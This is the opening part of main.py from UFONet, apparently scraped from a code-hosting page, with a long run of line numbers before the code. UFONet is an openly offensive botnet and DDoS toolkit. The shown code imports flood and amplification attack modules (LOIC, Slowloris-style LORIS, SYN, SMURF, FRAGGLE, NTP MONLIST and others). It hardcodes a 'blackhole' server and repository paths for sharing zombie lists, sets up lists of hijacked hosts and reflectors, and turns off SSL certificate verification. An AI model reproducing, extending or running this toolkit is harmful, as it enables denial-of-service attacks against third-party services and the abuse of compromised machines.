main.py 311 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011301230133014301530163017301830193020302130223023302430253026302730283029303030313032303330343035303630373038303930403041304230433044304530463047304830493050305130523053305430553056305730583059306030613062306330643065306630673068306930703071307230733074307530763077307830793080308130823083308430853086308730883089309030913092309330943095309630973098309931003101310231033104310531063107310831093110311131123113311431153116311731183119312031213122312331243125312631273128312931303131313231333134313531363137313831393140314131423143314431453146314731483149315031513152315331543155315631573158315931603161316231633164316531663167316831693170317131723173317431753176317731783179318031813182318331843185318631873188318931903191319231933194319531963197319831993200320132023203320432053206320732083209321032113212321332143215321632173218321932203221322232233224322532263227322832293230323132323233323432353236323732383239324032413242324332443245324632473248324932503251325232533254325532563257325832593260326132623263326432653266326732683269327032713272327332743275327632773278327932803281328232833284328532863287328832893290329132923293329432953296329732983299330033013302330333043305330633073308330933103311331233133314331533163317331833193320332133223323332433253326332733283329333033313332333333343335333633373338333933403341334233433344334533463347334833493350335133523353335433553356335733583359336033613362336333643365336633673368336933703371337233733374337533763377337833793380338133823383338433853386338733883389339033913392339333943395339633973398339934003401340234033404340534063407340834093410341134123413341434153416341734183419342034213422342334243425342634273428342934303431343234333434343534363437343834393440344134423443344434453446344734483449345034513452345334543455345634573458345934603461346234633464346534663467346834693470347134723473347434753476347734783479348034813482348334843485348634873488348934903491349234933494349534963497349834993500350135023503350435053506350735083509351035113512351335143515351635173518351935203521352235233524352535263527352835293530353135323533353435353536353735383539354035413542354335443545354635473548354935503551355235533554355535563557355835593560356135623563356435653566356735683569357035713572357335743575357635773578357935803581358235833584358535863587358835893590359135923593359435953596359735983599360036013602360336043605360636073608360936103611361236133614361536163617361836193620362136223623362436253626362736283629363036313632363336343635363636373638363936403641364236433644364536463647364836493650365136523653365436553656365736583659366036613662366336643665366636673668366936703671367236733674367536763677367836793680368136823683368436853686368736883689369036913692369336943695369636973698369937003701370237033704370537063707370837093710371137123713371437153716371737183719372037213722372337243725372637273728372937303731373237333734373537363737373837393740374137423743374437453746374737483749375037513752375337543755375637573758375937603761376237633764376537663767376837693770377137723773377437753776377737783779378037813782378337843785378637873788378937903791379237933794379537963797379837993800380138023803380438053806380738083809381038113812381338143815381638173818381938203821382238233824382538263827382838293830383138323833383438353836383738383839384038413842384338443845384638473848384938503851385238533854385538563857385838593860386138623863386438653866386738683869387038713872387338743875387638773878387938803881388238833884388538863887388838893890389138923893389438953896389738983899390039013902390339043905390639073908390939103911391239133914391539163917391839193920392139223923392439253926392739283929393039313932393339343935393639373938393939403941394239433944394539463947394839493950395139523953395439553956395739583959396039613962396339643965396639673968396939703971397239733974397539763977397839793980398139823983398439853986398739883989399039913992399339943995399639973998399940004001400240034004400540064007400840094010401140124013401440154016401740184019402040214022402340244025402640274028402940304031403240334034403540364037403840394040404140424043404440454046404740484049405040514052405340544055405640574058405940604061406240634064406540664067406840694070407140724073407440754076407740784079408040814082408340844085408640874088408940904091409240934094409540964097409840994100410141024103410441054106410741084109411041114112411341144115411641174118411941204121412241234124412541264127412841294130413141324133413441354136413741384139414041414142414341444145414641474148414941504151415241534154415541564157415841594160416141624163416441654166416741684169417041714172417341744175417641774178417941804181418241834184418541864187418841894190419141924193419441954196419741984199420042014202420342044205420642074208420942104211421242134214421542164217421842194220422142224223422442254226422742284229423042314232423342344235423642374238423942404241424242434244424542464247424842494250425142524253425442554256425742584259426042614262426342644265426642674268426942704271427242734274427542764277427842794280428142824283428442854286428742884289429042914292429342944295429642974298429943004301430243034304430543064307430843094310431143124313431443154316431743184319432043214322432343244325432643274328432943304331433243334334433543364337433843394340434143424343434443454346434743484349435043514352435343544355435643574358435943604361436243634364436543664367436843694370437143724373437443754376437743784379438043814382438343844385438643874388438943904391439243934394439543964397439843994400440144024403440444054406440744084409441044114412441344144415441644174418441944204421442244234424442544264427442844294430443144324433443444354436443744384439444044414442444344444445444644474448444944504451445244534454445544564457445844594460446144624463446444654466446744684469447044714472447344744475447644774478447944804481448244834484448544864487448844894490449144924493449444954496449744984499450045014502450345044505450645074508450945104511451245134514451545164517451845194520452145224523452445254526452745284529453045314532453345344535453645374538453945404541454245434544454545464547454845494550455145524553455445554556455745584559456045614562456345644565456645674568456945704571457245734574457545764577457845794580458145824583458445854586458745884589459045914592459345944595459645974598459946004601460246034604460546064607460846094610461146124613461446154616461746184619462046214622462346244625462646274628462946304631463246334634463546364637463846394640464146424643464446454646464746484649465046514652465346544655465646574658465946604661466246634664466546664667466846694670467146724673467446754676467746784679468046814682468346844685468646874688468946904691469246934694469546964697469846994700470147024703470447054706470747084709471047114712471347144715471647174718471947204721472247234724472547264727472847294730473147324733473447354736473747384739474047414742474347444745474647474748474947504751475247534754475547564757475847594760476147624763476447654766476747684769477047714772477347744775477647774778477947804781478247834784478547864787478847894790479147924793479447954796479747984799480048014802480348044805480648074808480948104811481248134814481548164817481848194820482148224823482448254826482748284829483048314832483348344835483648374838483948404841484248434844484548464847484848494850485148524853485448554856485748584859486048614862486348644865486648674868486948704871487248734874487548764877487848794880488148824883488448854886488748884889489048914892489348944895489648974898489949004901490249034904490549064907490849094910491149124913491449154916491749184919492049214922492349244925492649274928492949304931493249334934493549364937493849394940494149424943494449454946494749484949495049514952495349544955495649574958495949604961496249634964496549664967496849694970497149724973497449754976497749784979498049814982498349844985498649874988498949904991499249934994499549964997499849995000500150025003500450055006500750085009501050115012501350145015501650175018501950205021502250235024502550265027502850295030503150325033503450355036503750385039504050415042504350445045504650475048504950505051505250535054505550565057505850595060506150625063506450655066506750685069507050715072507350745075507650775078507950805081508250835084508550865087508850895090509150925093509450955096509750985099510051015102510351045105510651075108510951105111511251135114511551165117511851195120512151225123512451255126512751285129513051315132513351345135513651375138513951405141514251435144514551465147514851495150515151525153515451555156515751585159516051615162516351645165516651675168516951705171517251735174517551765177517851795180518151825183518451855186518751885189519051915192519351945195519651975198519952005201520252035204520552065207520852095210521152125213521452155216521752185219522052215222522352245225522652275228522952305231523252335234523552365237523852395240524152425243524452455246524752485249525052515252525352545255525652575258525952605261526252635264526552665267526852695270527152725273527452755276527752785279528052815282528352845285528652875288528952905291529252935294529552965297529852995300530153025303530453055306530753085309531053115312531353145315531653175318531953205321532253235324532553265327532853295330533153325333533453355336533753385339534053415342534353445345534653475348534953505351535253535354535553565357535853595360536153625363536453655366536753685369537053715372537353745375537653775378537953805381538253835384538553865387538853895390539153925393539453955396539753985399540054015402540354045405540654075408540954105411541254135414541554165417541854195420542154225423542454255426542754285429543054315432543354345435543654375438543954405441544254435444544554465447544854495450545154525453545454555456545754585459546054615462546354645465546654675468546954705471547254735474547554765477547854795480548154825483548454855486548754885489549054915492549354945495549654975498549955005501550255035504550555065507550855095510551155125513551455155516551755185519552055215522552355245525552655275528552955305531553255335534553555365537553855395540554155425543554455455546554755485549555055515552555355545555555655575558555955605561556255635564556555665567556855695570557155725573557455755576557755785579558055815582558355845585558655875588558955905591559255935594559555965597559855995600560156025603560456055606560756085609561056115612561356145615561656175618561956205621562256235624562556265627562856295630563156325633563456355636563756385639564056415642564356445645564656475648564956505651565256535654565556565657565856595660566156625663566456655666566756685669567056715672567356745675567656775678567956805681568256835684568556865687568856895690569156925693569456955696569756985699570057015702570357045705570657075708570957105711571257135714571557165717571857195720572157225723572457255726572757285729573057315732573357345735573657375738573957405741574257435744574557465747574857495750575157525753575457555756575757585759576057615762576357645765576657675768576957705771577257735774577557765777577857795780578157825783578457855786578757885789579057915792579357945795579657975798579958005801580258035804580558065807580858095810581158125813581458155816581758185819582058215822582358245825582658275828582958305831583258335834583558365837583858395840584158425843584458455846584758485849585058515852585358545855585658575858585958605861586258635864586558665867586858695870587158725873587458755876587758785879588058815882588358845885588658875888588958905891589258935894589558965897589858995900590159025903590459055906590759085909591059115912591359145915591659175918591959205921592259235924592559265927592859295930593159325933593459355936593759385939594059415942594359445945594659475948594959505951595259535954595559565957595859595960596159625963596459655966596759685969597059715972597359745975597659775978597959805981598259835984598559865987598859895990599159925993599459955996599759985999600060016002600360046005600660076008600960106011601260136014601560166017601860196020602160226023602460256026602760286029603060316032603360346035603660376038603960406041604260436044604560466047604860496050605160526053605460556056605760586059606060616062606360646065606660676068606960706071607260736074607560766077607860796080608160826083608460856086608760886089609060916092609360946095609660976098609961006101610261036104610561066107610861096110611161126113611461156116611761186119612061216122612361246125612661276128612961306131613261336134613561366137613861396140614161426143614461456146614761486149615061516152615361546155615661576158615961606161616261636164616561666167616861696170617161726173617461756176617761786179618061816182618361846185618661876188618961906191619261936194619561966197619861996200620162026203620462056206620762086209621062116212621362146215621662176218621962206221622262236224622562266227
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2022 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import os, sys, re, traceback, random, time, threading, base64, string, math
  11. import io, socket, ssl, cgi, json, gzip
  12. from Crypto.Cipher import AES
  13. from hashlib import sha1, sha256
  14. try:
  15. from urllib.parse import urlparse as urlparse
  16. except:
  17. from urlparse import urlparse as urlparse
  18. try:
  19. import urllib.request, urllib.error, urllib.parse
  20. except:
  21. print ("\n[Error] UFONet no longer supports Python2: (https://www.python.org/doc/sunset-python-2/)\n\n[Info] [AI] Try to run the tool with Python3.x.y (ex: python3 ufonet)\n")
  22. sys.exit()
  23. from uuid import getnode
  24. from random import randrange, shuffle
  25. from .options import UFONetOptions
  26. from .update import Updater
  27. from .herd import Herd
  28. from .zombie import Zombie
  29. from .doll import Doll
  30. from core.tools.inspector import Inspector
  31. from core.tools.abductor import Abductor
  32. from core.tools.ufoscan import UFOSCAN
  33. from core.mods.loic import LOIC
  34. from core.mods.loris import LORIS
  35. from core.mods.ufosyn import UFOSYN
  36. from core.mods.spray import SPRAY
  37. from core.mods.smurf import SMURF
  38. from core.mods.xmas import XMAS
  39. from core.mods.nuke import NUKE
  40. from core.mods.tachyon import TACHYON
  41. from core.mods.monlist import MONLIST
  42. from core.mods.sniper import SNIPER
  43. from core.mods.ufoack import UFOACK
  44. from core.mods.uforst import UFORST
  45. from core.mods.droper import DROPER
  46. from core.mods.overlap import OVERLAP
  47. from core.mods.pinger import PINGER
  48. from core.mods.ufoudp import UFOUDP
  49. from core.mods.fraggle import FRAGGLE
  50. DEBUG = False # use 'True' for detailed traceback
  51. class UFONet(object):
  52. def __init__(self):
  53. self.exit_msg = 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!' # set msg show at the end [FILO ;-)]
  54. self.blackhole = '46.163.118.220' # default download/upload zombies [Blackhole] [Server] / Try [DIY] your own [Mirror]...
  55. self.crypto_key = "U-NATi0n!" # default cryptkey
  56. self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018]
  57. self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018]
  58. self.github_zombies = 'https://raw.githubusercontent.com/epsylon/ufonet/master/botnet/' # default [RAW] download/upload zombies [Blackhole] [GitHub] [DIY]
  59. self.external_check_service1 = 'https://www.isitdownrightnow.com/' # set external check service 1 [OK! 23/07/2022]
  60. self.external_check_service2 = 'https://downforeveryoneorjustme.com/' # set external check service 2 [OK! 23/07/2022]
  61. self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site [OK! 23/07/2022]
  62. self.check_ip_service1 = 'https://checkip.org/' # set external check ip service 1 [OK! 23/07/2022]
  63. self.check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 06/06/2020]
  64. self.check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! [23/07/2022]
  65. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  66. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  67. self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies]
  68. self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve [Aliens]
  69. self.dnss_file = 'botnet/dns.txt' # set source path to retrieve [DNSs]
  70. self.droids_file = 'botnet/droids.txt' # set source path to retrieve [Droids]
  71. self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'
  72. self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'
  73. self.ntps_file = 'botnet/ntp.txt' # set source path to retrieve [NTPs]
  74. self.snmps_file = 'botnet/snmp.txt' # set source path to retrieve [SNMPs]
  75. self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'
  76. self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve [Dorks]
  77. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  78. self.timeline_file = 'docs/VERSION' # set source for code releases
  79. self.links_file = "data/links.txt" # set source path to retrieve [Blackhole] [Links]
  80. self.streams_file = "data/streams.txt" # set source path to retrieve [Blackhole] [Streams]
  81. self.globalnet_file = "data/globalnet.txt" # set source path to retrieve [Blackhole] [Globalnet]
  82. self.nodes_file = "data/nodes.txt" # set source path to retrieve [Blackhole] [Community] [Nodes]
  83. self.news_file = "data/news.txt" # set source path to retrieve [Blackhole] [News]
  84. self.tv_file = "data/tv.txt" # set source path to retrieve [Blackhole] [TV]
  85. self.missions_file = "data/missions.txt" # set source path to retrieve [Blackhole] [Missions]
  86. self.board_file = "data/board.txt" # set source path to retrieve [Blackhole] [Board]
  87. self.grid_file = "data/grid.txt" # set source path to retrieve [Blackhole] [Grid]
  88. self.wargames_file = "data/wargames.txt" # set source path to retrieve [Blackhole] [Wargames]
  89. self.examples_file = "docs/examples.txt" # set source path to retrieve [Examples]
  90. self.misc_file = "core/txt/misc.txt" # set source path to retrieve [Miscellania] cites
  91. self.referer = '' # black magic
  92. self.port = "8080" # default injection port
  93. self.mothershipname = "core/txt/shipname.txt"
  94. self.default_mothership_name = "l4m3r-lulz/0\n" # default mothership name
  95. self.mothership_model_file = 'core/txt/model.txt' # set source for mothership model
  96. self.warping_path = '/var/www/ufonet' # set source for warping path
  97. self.warping_folder_permissions = 0o644 # set permission for warping folder
  98. f = open(self.mothership_model_file) # extract mothership model
  99. self.mothership_model = f.readlines()
  100. for model in self.mothership_model:
  101. model = model.rstrip('\n')
  102. self.mothership_model = model
  103. f.close()
  104. self.mothership_baptism() # generating static name/id for your mothership ;-)
  105. self.head = False
  106. self.payload = False
  107. self.external = False
  108. self.attack_mode = False
  109. self.connection_failed = False
  110. self.total_possible_zombies = 0
  111. self.herd = Herd(self)
  112. self.sem = False
  113. self.db_flash = 0 # db stress counter
  114. self.total_aliens = 0
  115. self.aliens_hit = 0
  116. self.aliens_fail = 0
  117. self.total_droids = 0
  118. self.droids_hit = 0
  119. self.droids_fail = 0
  120. self.total_ucavs = 0
  121. self.ucavs_hit = 0
  122. self.ucavs_fail = 0
  123. self.total_rpcs = 0
  124. self.rpcs_hit = 0
  125. self.rpcs_fail = 0
  126. self.total_loic = 0
  127. self.total_loris = 0
  128. self.total_syn = 0
  129. self.total_spray = 0
  130. self.total_smurf = 0
  131. self.total_fraggle = 0
  132. self.total_xmas = 0
  133. self.total_ufoack = 0
  134. self.total_uforst = 0
  135. self.total_droper = 0
  136. self.total_overlap = 0
  137. self.total_pinger = 0
  138. self.total_ufoudp = 0
  139. self.total_nuke = 0
  140. self.total_tachyon = 0
  141. self.total_monlist = 0
  142. self.total_sniper = 0
  143. self.total_zombies_failed_connection = 0
  144. self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
  145. self.ctx.check_hostname = False
  146. self.ctx.verify_mode = ssl.CERT_NONE
  147. self.nat_error_flag = "OFF"
  148. self.trans_zombies = 0
  149. self.scanned_zombies = 0
  150. self.loadcheck_counter = 0
  151. self.loadcheck_prev_size = None
  152. self.loadcheck_prev_load = None
  153. self.loadcheck_first_size = None
  154. self.loadcheck_first_load = None
  155. self.loadcheck_size_list = []
  156. self.loadcheck_load_list = []
  157. self.loadcheck_size_median = None
  158. self.loadcheck_size_max = None
  159. self.loadcheck_size_min = None
  160. self.loadcheck_load_median = None
  161. self.loadcheck_size_max = None
  162. self.loadcheck_size_min = None
  163. self.num_is_up = 0 # counter for [UCAVs] 'up' reports
  164. self.num_is_down = 0 # counter for [UCAVs] 'down' reports
  165. self.expire_timing = 30 # default expiring time per round
  166. self.extra_zombies_lock = False # used to lock threading flow when [ARMY] is required
  167. self.ac_control = [] # used by 'herd.py' to lock threading flow when [Zombies] are returning
  168. self.globalnet_msg_sep = "#$#" # globalnet stream separator
  169. self.trans_5C = ''.join([chr (x ^ 0x5c) for x in range(256)])
  170. self.trans_36 = ''.join([chr (x ^ 0x36) for x in range(256)])
  171. self.trans_5C = self.trans_5C.encode("latin-1")
  172. self.trans_36 = self.trans_36.encode("latin-1")
  173. def mothership_baptism(self):
  174. if os.path.exists(self.mothershipname) == True:
  175. f = open(self.mothershipname)
  176. self.mothership_id = f.read()
  177. f.close()
  178. else:
  179. self.mothership_ids = []
  180. try:
  181. f = open(self.motherships_file)
  182. motherships = f.readlines()
  183. f.close()
  184. for ship in motherships:
  185. ship = ship.encode("utf-8")
  186. self.mothership_ids.append(base64.urlsafe_b64encode(ship))
  187. try:
  188. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'utf-8')
  189. except:
  190. try:
  191. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'latin-1')+"\n" # id (hack&slash!) creation ;-)
  192. except:
  193. self.mothership_id = self.default_mothership_name
  194. except:
  195. self.mothership_id = self.default_mothership_name
  196. if len(str(self.mothership_id.upper())) > 20: # motherhip naming anti-cheating! ;-)
  197. self.mothership_id = self.default_mothership_name
  198. m = open(self.mothershipname, "w") # write mothership name to a static file
  199. m.write(str(self.mothership_id.upper()))
  200. m.close()
  201. def create_options(self, args=None):
  202. self.optionParser = UFONetOptions()
  203. self.options = self.optionParser.get_options(args)
  204. if not self.options:
  205. return False
  206. return self.options
  207. def banner_welcome(self):
  208. print(" ____ ")
  209. print(" || / /\ \ || #===============================================#")
  210. print(" -(00)- + (XX) + -(00)- || ||")
  211. print(" || || O ==*~~~~~~*== 0 || || || > Botnet [DDoS] # > Close Combat [DoS] ||")
  212. print(" -(00)- (0) XX (0) -(00)- || ||")
  213. print(" || _ _ \| (00) |/ _ _ || || |-> ZOMBIES # |-> LOIC ||")
  214. print(" (O)_ (O) 0'----'0 (O) _(O) || |-> DROIDS # |-> LORIS ||")
  215. print(" | |.''.( xx ).''.| | || |-> ALIENS # |-> UFOSYN ||")
  216. print(" .'.' +X|'..'|X+ '.'. || |-> UCAVs # |-> XMAS ||")
  217. print(" .-. .' /'--.__|_00_|__.--'\ '. .-. || |-> X-RPCs # |-> NUKE ||")
  218. print(" +(O).)-|0| \ x| ## |x / |0|-(.(O)+ || |-> DBSTRESS # |-> UFOACK ||")
  219. print(" `-' '-'-._'-./ -00- \.-'_.-'-' `-' || |-> SPRAY # |-> UFORST ||")
  220. print(" _ | || '-.___||___.-' || | _ || |-> SMURF # |-> DROPER ||")
  221. print(" .' _ | ||==O | __ | O==|| | _ '. || |-> TACHYON # |-> OVERLAP ||")
  222. print(" / .' ''.| || | /_00_\ | || |.'' '. \ || |-> MONLIST # |-> PINGER ||")
  223. print(" _ | '### | =| | ###### | |= |' ### | _ || |-> FRAGGLE # |-> UFOUDP ||")
  224. print("(0)-| |(0)| '. 0\||__**_ ||/0 .' |(0)| |-(0) || |-> SNIPER # ||")
  225. print(" * \ '._.' '. | \_##_/ | .' '._.' / * || ||")
  226. print(" '.__ ____0_'.|__'--'__|.'_0____ __.' #|=============================================|#")
  227. print(" .'_.-| YY |-._'. || ||")
  228. print(" || -> [ UFONet: https://ufonet.03c8.net ] <- ||")
  229. print(" + Class: PSYoPs / "+str(self.mothership_model)+" + || ||")
  230. print(" #|=============================================|#")
  231. print("")
  232. def banner(self):
  233. print('='*75, "\n")
  234. print("888 888 8888888888 .d88888b. 888b 888 888 ")
  235. print("888 888 888 d88P Y888b 8888b 888 888 ")
  236. print("888 888 888 888 888 88888b 888 888 ")
  237. print("888 888 8888888 888 888 888Y88b 888 .d88b. 888888 ")
  238. print("888 888 888 888 888 888 Y88b888 d8P Y8b 888 ")
  239. print("888 888 888 888 888 888 Y88888 88888888 888 ")
  240. print("Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. ")
  241. print(" 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888")
  242. print(self.optionParser.description, "\n")
  243. print('='*75)
  244. def generate_exit_msg(self):
  245. self.exit_msg = "Generating random exit... \n\n"
  246. try:
  247. f = open(self.misc_file)
  248. m = f.readlines()
  249. f.close()
  250. self.exit_msg += " -> "+str(random.choice(m).strip())
  251. except:
  252. self.exit_msg += " -> Donate BTC (Bitcoin) to keep #UFONet (https://ufonet.03c8.net) strong!"
  253. def AI(self):
  254. try:
  255. import turtle as AI
  256. print("\n[AI] Making a unique drawing using 'Turtle' (Feurzig & Papert - 1966) -> [OK!]\n")
  257. colors = ['red', 'purple', 'blue', 'green', 'orange', 'yellow']
  258. bg = random.choice(colors).strip()
  259. t = AI.Pen()
  260. AI.bgcolor(bg)
  261. r = random.randrange(100,100000)
  262. for x in range(r):
  263. t.pencolor(colors[x%6])
  264. w = random.randrange(100,1000)
  265. t.width(x/w + 1)
  266. t.forward(x)
  267. l = random.randrange(50,1000)
  268. t.left(l)
  269. except:
  270. print("[AI] %!$1#9#84#~... -> [Exiting!]")
  271. pass
  272. def round_float(self, num):
  273. return str(int(round(num, -1)))[2] # black magic
  274. def show_mac_address(self):
  275. mac = getnode() # to get physical address
  276. hex_mac = str(":".join(re.findall('..', '%012x' % mac)))
  277. return hex_mac
  278. def show_ips(self):
  279. import requests
  280. try:
  281. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  282. s.connect(("8.8.8.8", 80))
  283. private_ip = s.getsockname()[0] # black magic
  284. s.close()
  285. except:
  286. private_ip = "Unknown"
  287. try:
  288. public_ip = requests.get(self.check_ip_service3).text
  289. except:
  290. try:
  291. public_ip = requests.get(self.check_ip_service2).text
  292. except:
  293. try:
  294. public_ip = requests.get(self.check_ip_service1).text
  295. except:
  296. public_ip = "Unknown"
  297. return private_ip, public_ip
  298. def try_running(self, func, error, args=None):
  299. options = self.options
  300. args = args or []
  301. try:
  302. return func(*args)
  303. except Exception as e:
  304. if DEBUG == True:
